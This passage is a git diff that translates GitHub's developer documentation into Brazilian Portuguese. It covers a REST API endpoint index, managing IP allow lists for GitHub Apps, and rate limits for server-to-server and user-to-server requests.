+* [Listar webhooks de repositório](/rest/reference/webhooks#list-repository-webhooks)
+* [Criar um webhook do repositório](/rest/reference/webhooks#create-a-repository-webhook)
+* [Obter um webhook do repositório](/rest/reference/webhooks#get-a-repository-webhook)
+* [Atualizar um webhook do repositório](/rest/reference/webhooks#update-a-repository-webhook)
+* [Excluir um webhook do repositório](/rest/reference/webhooks#delete-a-repository-webhook)
+* [Fazer ping no webhook de um repositório](/rest/reference/webhooks#ping-a-repository-webhook)
+* [Testar o webhook do repositório de push](/rest/reference/repos#test-the-push-repository-webhook)
 
-#### Repository Invitations
+#### Convites do repositório
 
-* [List repository invitations](/rest/reference/collaborators#list-repository-invitations)
-* [Update a repository invitation](/rest/reference/collaborators#update-a-repository-invitation)
-* [Delete a repository invitation](/rest/reference/collaborators#delete-a-repository-invitation)
-* [List repository invitations for the authenticated user](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
-* [Accept a repository invitation](/rest/reference/collaborators#accept-a-repository-invitation)
-* [Decline a repository invitation](/rest/reference/collaborators#decline-a-repository-invitation)
+* [Listar convites para repositórios](/rest/reference/collaborators#list-repository-invitations)
+* [Atualizar um convite para um repositório](/rest/reference/collaborators#update-a-repository-invitation)
+* [Excluir um convite para um repositório](/rest/reference/collaborators#delete-a-repository-invitation)
+* [Listar convites de repositório para o usuário autenticado](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
+* [Aceitar um convite de repositório](/rest/reference/collaborators#accept-a-repository-invitation)
+* [Recusar um convite de repositório](/rest/reference/collaborators#decline-a-repository-invitation)
 
-#### Repository Keys
+#### Chaves de repositório
 
-* [List deploy keys](/rest/reference/deployments#list-deploy-keys)
-* [Create a deploy key](/rest/reference/deployments#create-a-deploy-key)
-* [Get a deploy key](/rest/reference/deployments#get-a-deploy-key)
-* [Delete a deploy key](/rest/reference/deployments#delete-a-deploy-key)
+* [Listar chaves de implantação](/rest/reference/deployments#list-deploy-keys)
+* [Criar uma chave de implantação](/rest/reference/deployments#create-a-deploy-key)
+* [Obter uma chave de implantação](/rest/reference/deployments#get-a-deploy-key)
+* [Excluir uma chave de implantação](/rest/reference/deployments#delete-a-deploy-key)
 
-#### Repository Pages
+#### Páginas do repositório
 
-* [Get a GitHub Pages site](/rest/reference/pages#get-a-github-pages-site)
-* [Create a GitHub Pages site](/rest/reference/pages#create-a-github-pages-site)
-* [Update information about a GitHub Pages site](/rest/reference/pages#update-information-about-a-github-pages-site)
-* [Delete a GitHub Pages site](/rest/reference/pages#delete-a-github-pages-site)
-* [List GitHub Pages builds](/rest/reference/pages#list-github-pages-builds)
-* [Request a GitHub Pages build](/rest/reference/pages#request-a-github-pages-build)
-* [Get GitHub Pages build](/rest/reference/pages#get-github-pages-build)
-* [Get latest pages build](/rest/reference/pages#get-latest-pages-build)
+* [Obter um site do GitHub Pages](/rest/reference/pages#get-a-github-pages-site)
+* [Criar um site do GitHub Pages](/rest/reference/pages#create-a-github-pages-site)
+* [Atualizar informações sobre um site do GitHub Pages](/rest/reference/pages#update-information-about-a-github-pages-site)
+* [Excluir um site do GitHub Pages](/rest/reference/pages#delete-a-github-pages-site)
+* [Listar criações do GitHub Pages](/rest/reference/pages#list-github-pages-builds)
+* [Solicitar uma criação do GitHub Pages](/rest/reference/pages#request-a-github-pages-build)
+* [Obter uma criação do GitHub Pages](/rest/reference/pages#get-github-pages-build)
+* [Obter a última criação de páginas](/rest/reference/pages#get-latest-pages-build)
 
 {% ifversion ghes %}
-#### Repository Pre Receive Hooks
+#### Hooks pre-receive do repositório
 
-* [List pre-receive hooks for a repository](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
-* [Get a pre-receive hook for a repository](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
-* [Update pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
-* [Remove pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
+* [Listar hooks pre-receive para um repositório](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
+* [Obter um hook pre-receive para um repositório](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
+* [Atualizar a aplicação de um hook pre-receive para um repositório](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
+* [Remover a aplicação de um hook pre-receive para um repositório](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
 {% endif %}
 
-#### Repository Releases
+#### Versões do repositório
 
-* [List releases](/rest/reference/repos/#list-releases)
-* [Create a release](/rest/reference/repos/#create-a-release)
-* [Get a release](/rest/reference/repos/#get-a-release)
-* [Update a release](/rest/reference/repos/#update-a-release)
-* [Delete a release](/rest/reference/repos/#delete-a-release)
-* [List release assets](/rest/reference/repos/#list-release-assets)
-* [Get a release asset](/rest/reference/repos/#get-a-release-asset)
-* [Update a release asset](/rest/reference/repos/#update-a-release-asset)
-* [Delete a release asset](/rest/reference/repos/#delete-a-release-asset)
-* [Get the latest release](/rest/reference/repos/#get-the-latest-release)
-* [Get a release by tag name](/rest/reference/repos/#get-a-release-by-tag-name)
+* [Listar versões](/rest/reference/repos/#list-releases)
+* [Criar uma versão](/rest/reference/repos/#create-a-release)
+* [Obter uma versão](/rest/reference/repos/#get-a-release)
+* [Atualizar uma versão](/rest/reference/repos/#update-a-release)
+* [Excluir uma versão](/rest/reference/repos/#delete-a-release)
+* [Listar ativos da versão](/rest/reference/repos/#list-release-assets)
+* [Obter um ativo da versão](/rest/reference/repos/#get-a-release-asset)
+* [Atualizar um ativo da versão](/rest/reference/repos/#update-a-release-asset)
+* [Excluir um ativo da versão](/rest/reference/repos/#delete-a-release-asset)
+* [Obter a atualização mais recente](/rest/reference/repos/#get-the-latest-release)
+* [Obter uma versão pelo nome da tag](/rest/reference/repos/#get-a-release-by-tag-name)
 
-#### Repository Stats
+#### Estatísticas do repositório
 
-* [Get the weekly commit activity](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
-* [Get the last year of commit activity](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
-* [Get all contributor commit activity](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
-* [Get the weekly commit count](/rest/reference/repository-metrics#get-the-weekly-commit-count)
-* [Get the hourly commit count for each day](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
+* [Obter a atividade semanal do commit](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+* [Obter o último ano da atividade de commit](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+* [Obter toda a atividade do commit do contribuidor](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+* [Obter a contagem semanal do commit](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+* [Obter a contagem do commit por hora para cada dia](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
 
 {% ifversion fpt or ghec %}
-#### Repository Vulnerability Alerts
+#### Alertas de vulnerabilidade de repositório
 
-* [Enable vulnerability alerts](/rest/reference/repos#enable-vulnerability-alerts)
-* [Disable vulnerability alerts](/rest/reference/repos#disable-vulnerability-alerts)
+* [Habilitar alertas de vulnerabilidade](/rest/reference/repos#enable-vulnerability-alerts)
+* [Desabilitar alertas de vulnerabilidade](/rest/reference/repos#disable-vulnerability-alerts)
 {% endif %}
 
-#### Root
+#### Raiz
 
-* [Root endpoint](/rest#root-endpoint)
+* [Ponto de extremidade raiz](/rest#root-endpoint)
 * [Emojis](/rest/reference/emojis#emojis)
-* [Get rate limit status for the authenticated user](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+* [Obter status do limite de taxa para o usuário autenticado](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
 
-#### Search
+#### Pesquisar
 
-* [Search code](/rest/reference/search#search-code)
-* [Search commits](/rest/reference/search#search-commits)
-* [Search labels](/rest/reference/search#search-labels)
-* [Search repositories](/rest/reference/search#search-repositories)
-* [Search topics](/rest/reference/search#search-topics)
-* [Search users](/rest/reference/search#search-users)
+* [Buscar código](/rest/reference/search#search-code)
+* [Pesquisar commits](/rest/reference/search#search-commits)
+* [Pesquisar etiquetas](/rest/reference/search#search-labels)
+* [Pesquisar repositórios](/rest/reference/search#search-repositories)
+* [Pesquisar tópicos](/rest/reference/search#search-topics)
+* [Pesquisar usuários](/rest/reference/search#search-users)
 
-#### Statuses
+#### Status
 
-* [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
-* [List commit statuses for a reference](/rest/reference/commits#list-commit-statuses-for-a-reference)
-* [Create a commit status](/rest/reference/commits#create-a-commit-status)
+* [Obter o status combinado para uma referência específica](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
+* [Listar status de commit para uma referência](/rest/reference/commits#list-commit-statuses-for-a-reference)
+* [Criar um status de commit](/rest/reference/commits#create-a-commit-status)
 
-#### Team Discussions
+#### Discussões de equipe
 
-* [List discussions](/rest/reference/teams#list-discussions)
-* [Create a discussion](/rest/reference/teams#create-a-discussion)
-* [Get a discussion](/rest/reference/teams#get-a-discussion)
-* [Update a discussion](/rest/reference/teams#update-a-discussion)
-* [Delete a discussion](/rest/reference/teams#delete-a-discussion)
-* [List discussion comments](/rest/reference/teams#list-discussion-comments)
-* [Create a discussion comment](/rest/reference/teams#create-a-discussion-comment)
-* [Get a discussion comment](/rest/reference/teams#get-a-discussion-comment)
-* [Update a discussion comment](/rest/reference/teams#update-a-discussion-comment)
-* [Delete a discussion comment](/rest/reference/teams#delete-a-discussion-comment)
+* [Listar discussões](/rest/reference/teams#list-discussions)
+* [Criar discussão](/rest/reference/teams#create-a-discussion)
+* [Obter discussão](/rest/reference/teams#get-a-discussion)
+* [Atualizar uma discussão](/rest/reference/teams#update-a-discussion)
+* [Excluir uma discussão](/rest/reference/teams#delete-a-discussion)
+* [Listar comentários da discussão](/rest/reference/teams#list-discussion-comments)
+* [Criar um comentário da discussão](/rest/reference/teams#create-a-discussion-comment)
+* [Obter um comentário da discussão](/rest/reference/teams#get-a-discussion-comment)
+* [Atualizar um comentário da discussão](/rest/reference/teams#update-a-discussion-comment)
+* [Excluir um comentário da discussão](/rest/reference/teams#delete-a-discussion-comment)
 
-#### Topics
+#### Tópicos
 
-* [Get all repository topics](/rest/reference/repos#get-all-repository-topics)
-* [Replace all repository topics](/rest/reference/repos#replace-all-repository-topics)
+* [Obter todos os tópicos do repositório](/rest/reference/repos#get-all-repository-topics)
+* [Substituir todos os tópicos do repositório](/rest/reference/repos#replace-all-repository-topics)
 
 {% ifversion fpt or ghec %}
-#### Traffic
+#### Tráfego
 
-* [Get repository clones](/rest/reference/repository-metrics#get-repository-clones)
-* [Get top referral paths](/rest/reference/repository-metrics#get-top-referral-paths)
-* [Get top referral sources](/rest/reference/repository-metrics#get-top-referral-sources)
-* [Get page views](/rest/reference/repository-metrics#get-page-views)
+* [Obter clones do repositório](/rest/reference/repository-metrics#get-repository-clones)
+* [Obter caminhos de referência superior](/rest/reference/repository-metrics#get-top-referral-paths)
+* [Obter fontes de referência superior](/rest/reference/repository-metrics#get-top-referral-sources)
+* [Obter visualizações de páginas](/rest/reference/repository-metrics#get-page-views)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### User Blocking
+#### Bloquear usuário
 
-* [List users blocked by the authenticated user](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
-* [Check if a user is blocked by the authenticated user](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
-* [List users blocked by an organization](/rest/reference/orgs#list-users-blocked-by-an-organization)
-* [Check if a user is blocked by an organization](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
-* [Block a user from an organization](/rest/reference/orgs#block-a-user-from-an-organization)
-* [Unblock a user from an organization](/rest/reference/orgs#unblock-a-user-from-an-organization)
-* [Block a user](/rest/reference/users#block-a-user)
-* [Unblock a user](/rest/reference/users#unblock-a-user)
+* [Listar usuários bloqueados pelo usuário autenticado](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
+* [Verificar se um usuário está bloqueado pelo usuário autenticado](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+* [Listar usuários bloqueados por uma organização](/rest/reference/orgs#list-users-blocked-by-an-organization)
+* [Verificar se um usuário está bloqueado por uma organização](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
+* [Bloquear um usuário de uma organização](/rest/reference/orgs#block-a-user-from-an-organization)
+* [Desbloquear um usuário de uma organização](/rest/reference/orgs#unblock-a-user-from-an-organization)
+* [Bloquear usuário](/rest/reference/users#block-a-user)
+* [Desbloquear usuário](/rest/reference/users#unblock-a-user)
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-#### User Emails
+#### Emails do usuário
 
 {% ifversion fpt or ghec %}
-* [Set primary email visibility for the authenticated user](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
+* [Configurar visibilidade do e-mail principal para o usuário autenticado](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
 {% endif %}
-* [List email addresses for the authenticated user](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
-* [Add email address(es)](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
-* [Delete email address(es)](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
-* [List public email addresses for the authenticated user](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
+* [Listar endereços de e-mail para o usuário autenticado](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+* [Adicionar endereço(s) de e-mail](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
+* [Excluir endereço(s) de e-mail](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
+* [Listar endereços de e-mail públicos para o usuário autenticado](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
 {% endif %}
 
-#### User Followers
+#### Seguidores do usuário
 
-* [List followers of a user](/rest/reference/users#list-followers-of-a-user)
-* [List the people a user follows](/rest/reference/users#list-the-people-a-user-follows)
-* [Check if a person is followed by the authenticated user](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
-* [Follow a user](/rest/reference/users#follow-a-user)
-* [Unfollow a user](/rest/reference/users#unfollow-a-user)
-* [Check if a user follows another user](/rest/reference/users#check-if-a-user-follows-another-user)
+* [Listar seguidores de um usuário](/rest/reference/users#list-followers-of-a-user)
+* [Listar as pessoas que um usuário segue](/rest/reference/users#list-the-people-a-user-follows)
+* [Verificar se uma pessoa é seguida pelo usuário autenticado](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
+* [Seguir um usuário](/rest/reference/users#follow-a-user)
+* [Deixar de seguir um usuário](/rest/reference/users#unfollow-a-user)
+* [Verificar se um usuário segue outro usuário](/rest/reference/users#check-if-a-user-follows-another-user)
 
-#### User Gpg Keys
+#### Chaves Gpg do usuário
 
-* [List GPG keys for the authenticated user](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
-* [Create a GPG key for the authenticated user](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
-* [Get a GPG key for the authenticated user](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
-* [Delete a GPG key for the authenticated user](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
-* [List gpg keys for a user](/rest/reference/users#list-gpg-keys-for-a-user)
+* [Listar chaves GPG para o usuário autenticado](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
+* [Criar uma chave GPG para o usuário autenticado](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
+* [Obter uma chave GPG para o usuário autenticado](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
+* [Excluir uma chave GPG para o usuário autenticado](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
+* [Listar chaves gpg para um usuário](/rest/reference/users#list-gpg-keys-for-a-user)
 
-#### User Public Keys
+#### Chaves públicas do usuário
 
-* [List public SSH keys for the authenticated user](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
-* [Create a public SSH key for the authenticated user](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
-* [Get a public SSH key for the authenticated user](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
-* [Delete a public SSH key for the authenticated user](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
-* [List public keys for a user](/rest/reference/users#list-public-keys-for-a-user)
+* [Listar chaves SSH públicas para o usuário autenticado](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
+* [Criar uma chave SSH pública para o usuário autenticado](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
+* [Obter uma chave SSH pública para o usuário autenticado](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
+* [Excluir uma chave SSH pública para o usuário autenticado](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
+* [Listar chaves públicas para um usuário](/rest/reference/users#list-public-keys-for-a-user)
 
-#### Users
+#### Usuários
 
-* [Get the authenticated user](/rest/reference/users#get-the-authenticated-user)
-* [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
+* [Obter o usuário autenticado](/rest/reference/users#get-the-authenticated-user)
+* [Listar instalações de aplicativos acessíveis ao token de acesso do usuário](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
 {% ifversion fpt or ghec %}
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+* [Listar assinaturas para o usuário autenticado](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 {% endif %}
-* [List users](/rest/reference/users#list-users)
-* [Get a user](/rest/reference/users#get-a-user)
+* [Listar usuários](/rest/reference/users#list-users)
+* [Obter um usuário](/rest/reference/users#get-a-user)
 
 {% ifversion fpt or ghec %}
-#### Workflow Runs
+#### Execuções do fluxo de trabalho
 
-* [List workflow runs for a repository](/rest/reference/actions#list-workflow-runs-for-a-repository)
-* [Get a workflow run](/rest/reference/actions#get-a-workflow-run)
-* [Cancel a workflow run](/rest/reference/actions#cancel-a-workflow-run)
-* [Download workflow run logs](/rest/reference/actions#download-workflow-run-logs)
-* [Delete workflow run logs](/rest/reference/actions#delete-workflow-run-logs)
-* [Re run a workflow](/rest/reference/actions#re-run-a-workflow)
-* [List workflow runs](/rest/reference/actions#list-workflow-runs)
-* [Get workflow run usage](/rest/reference/actions#get-workflow-run-usage)
+* [Listar execuções do fluxo de trabalho para um repositório](/rest/reference/actions#list-workflow-runs-for-a-repository)
+* [Obter execução de um fluxo de trabalho](/rest/reference/actions#get-a-workflow-run)
+* [Cancelar execução de um fluxo de trabalho](/rest/reference/actions#cancel-a-workflow-run)
+* [Fazer o download dos registros de execução do fluxo de trabalho](/rest/reference/actions#download-workflow-run-logs)
+* [Excluir registros de execução do fluxo de trabalho](/rest/reference/actions#delete-workflow-run-logs)
+* [Rexecutar um fluxo de trabalho](/rest/reference/actions#re-run-a-workflow)
+* [Listar execuções do fluxo de trabalho](/rest/reference/actions#list-workflow-runs)
+* [Obter uso da execução do fluxo de trabalho](/rest/reference/actions#get-workflow-run-usage)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Workflows
+#### Fluxos de trabalho
 
-* [List repository workflows](/rest/reference/actions#list-repository-workflows)
-* [Get a workflow](/rest/reference/actions#get-a-workflow)
-* [Get workflow usage](/rest/reference/actions#get-workflow-usage)
+* [Listar fluxos de trabalho do repositório](/rest/reference/actions#list-repository-workflows)
+* [Obter um fluxo de trabalho](/rest/reference/actions#get-a-workflow)
+* [Obter uso do workflow](/rest/reference/actions#get-workflow-usage)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 
-## Further reading
+## Leia mais
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
+- "[Sobre a autenticação em {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/index.md b/translations/pt-BR/content/developers/apps/building-github-apps/index.md
index 20e2cd4b16..ebf4f605e1 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/index.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building GitHub Apps
-intro: You can build GitHub Apps for yourself or others to use. Learn how to register and set up permissions and authentication options for GitHub Apps.
+title: Criar aplicativos GitHub
+intro: Você pode criar aplicativos GitHub para você mesmo ou para os outros usarem. Saiba como registrar e configurar permissões e opções de autenticação para os aplicativos GitHub.
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps
   - /apps/building-github-apps
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
index 54b69c1a34..2081942a21 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
@@ -1,35 +1,34 @@
 ---
-title: Managing allowed IP addresses for a GitHub App
-intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.'
+title: Gerenciando endereços IP permitidos para um aplicativo GitHub
+intro: 'Você pode adicionar uma lista de permissões IP ao seu {% data variables.product.prodname_github_app %} para evitar que seu aplicativo seja bloqueado pela própria lista de permissões da organização.'
 versions:
   fpt: '*'
   ghae: '*'
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Manage allowed IP addresses
+shortTitle: Gerenciar endereços IP permitidos
 ---
 
-## About IP address allow lists for {% data variables.product.prodname_github_apps %}
+## Sobre listas de endereços IP permitidos para {% data variables.product.prodname_github_apps %}
 
-Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+Os proprietários da empresa e da organização podem restringir o acesso aos ativos configurando uma lista de endereços IP permitidos. Esta lista especifica os endereços IP autorizados a se conectar. Para obter mais informações, consulte "[Aplicando políticas de segurança na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)".
 
-When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true:
+Quando uma organização tem uma lista de autorizações, aplicativos de terceiros que se conectam por meio de {% data variables.product.prodname_github_app %}, terá acesso negado, a menos que ambos os pontos a seguir sejam verdadeiros:
 
-* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this.
-* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)."
+* O criador do {% data variables.product.prodname_github_app %} configurou uma lista de permissões para o aplicativo que especifica os endereços IP em que o aplicativo é executado. Veja abaixo detalhes de como fazer isso.
+* O proprietário da organização escolheu permitir que os endereços na lista de permitidos do {% data variables.product.prodname_github_app %} sejam adicionados à sua própria lista de permissões. Para obter mais informações, consulte "[Gerenciar endereços IP permitidos para a sua organização](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)".
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-## Adding an IP address allow list to a {% data variables.product.prodname_github_app %}
+## Adicionando uma lista de endereços IP permitidos para {% data variables.product.prodname_github_app %}
 
 {% data reusables.apps.settings-step %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-1. Scroll down to the "IP allow list" section.
-![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png)
+1. Role para baixo até a seção "Lista de permissão de IP". ![Seção de informações básicas para o seu aplicativo GitHub](/assets/images/github-apps/github-apps-allow-list-empty.png)
 {% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
-  The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description.
+  A descrição é para sua referência e não é usada na lista de licenças de organizações em que {% data variables.product.prodname_github_app %} está instalado. Em vez disso, a organização permite que as listas incluam "Gerenciado pelo Nome do aplicativo Github" como descrição.
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
index 6027f1bb2b..f8fe4e782e 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Rate limits for GitHub Apps
+title: Limites de taxa para aplicativos do GitHub
 intro: '{% data reusables.shortdesc.rate_limits_github_apps %}'
 redirect_from:
   - /early-access/integrations/rate-limits
@@ -14,15 +14,16 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Rate limits
+shortTitle: Limites de taxa
 ---
-## Server-to-server requests
+
+## Solicitações de servidor para servidor
 
 {% ifversion ghec %}
 
-The rate limits for server-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
+Os limites de taxa para as solicitações de servidor para servidor feitas por {% data variables.product.prodname_github_apps %} dependem de onde o aplicativo está instalado. Se o aplicativo estiver instalado em organizações ou repositórios pertencentes a uma empresa em {% data variables.product.product_location %}, a taxa é mais alta do que para instalações fora de uma empresa.
 
-### Normal server-to-server rate limits
+### Limites de taxa normais de servidor a servidor
 
 {% endif %}
 
@@ -30,32 +31,32 @@ The rate limits for server-to-server requests made by {% data variables.product.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} server-to-server rate limits
+### Limites de taxa de servidor a servidor de {% data variables.product.prodname_ghe_cloud %}
 
-{% data variables.product.prodname_github_apps %} that are installed on an organization or repository owned by an enterprise on {% data variables.product.product_location %} have a rate limit of 15,000 requests per hour for server-to-server requests.
+{% data variables.product.prodname_github_apps %} que são instalados em uma organização ou repositório pertencente a uma empresa em {% data variables.product.product_location %} têm um limite de taxa de 15.000 solicitações por hora para solicitações de servidor para servidor.
 
 {% endif %}
 
-## User-to-server requests
+## Solicitações de usuário para servidor
 
-{% data variables.product.prodname_github_apps %} can also act [on behalf of a user](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps), making user-to-server requests.
+{% data variables.product.prodname_github_apps %} também pode atuar [em nome de um usuário](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-and-authorizing-users-for-github-apps), fazendo solicitações do usuário para servidor.
 
 {% ifversion ghec %}
 
-The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.product.product_location %}, then the rate is higher than for installations outside an enterprise.
+Os limites de taxa para as solicitações de servidor para servidor feitas por {% data variables.product.prodname_github_apps %} dependem de onde o aplicativo está instalado. Se o aplicativo estiver instalado em organizações ou repositórios pertencentes a uma empresa em {% data variables.product.product_location %}, a taxa é mais alta do que para instalações fora de uma empresa.
 
-### Normal user-to-server rate limits
+### Limites de taxa normais de usuário para servidor
 
 {% endif %}
 
-User-to-server requests are rate limited at {% ifversion ghae %}15,000{% else %}5,000{% endif %} requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's{% ifversion ghae %} token{% else %} username and password{% endif %} share the same quota of 5,000 requests per hour for that user.
+As solicitações de usuário para servidor têm um limite de {% ifversion ghae %}15.000{% else %}5.000{% endif %} solicitações por hora e por usuário autenticado. Todos os aplicativos OAuth autorizados por esse usuário, tokens de acesso pessoal pertencentes a esse usuário e solicitações autenticadas com o usuário {% ifversion ghae %} token{% else %} usuário e senha{% endif %} compartilham a mesma cota de 5.000 solicitações por hora para esse usuário.
 
 {% ifversion ghec %}
 
-### {% data variables.product.prodname_ghe_cloud %} user-to-server rate limits
+### Limites de taxa de usuário para servidor de {% data variables.product.prodname_ghe_cloud %}
 
-When a user belongs to an enterprise on {% data variables.product.product_location %}, user-to-server requests to resources owned by the same enterprise are rate limited at 15,000 requests per hour and per authenticated user. All OAuth applications authorized by that user, personal access tokens owned by that user, and requests authenticated with that user's username and password share the same quota of 5,000 requests per hour for that user.
+Quando um usuário pertence a uma empresa em {% data variables.product.product_location %}, as solicitações de usuário para servidor para recursos pertencentes à mesma empresa têm uma taxa limite de 15.000 solicitações por hora e por usuário autenticado. Todos os aplicativos OAuth autorizados por esse usuário, tokens de acesso pessoal pertencentes a esse usuário, e pedidos autenticados com o nome de usuário e senha compartilham a mesma cota de 5.000 solicitações por hora para esse usuário.
 
 {% endif %}
 
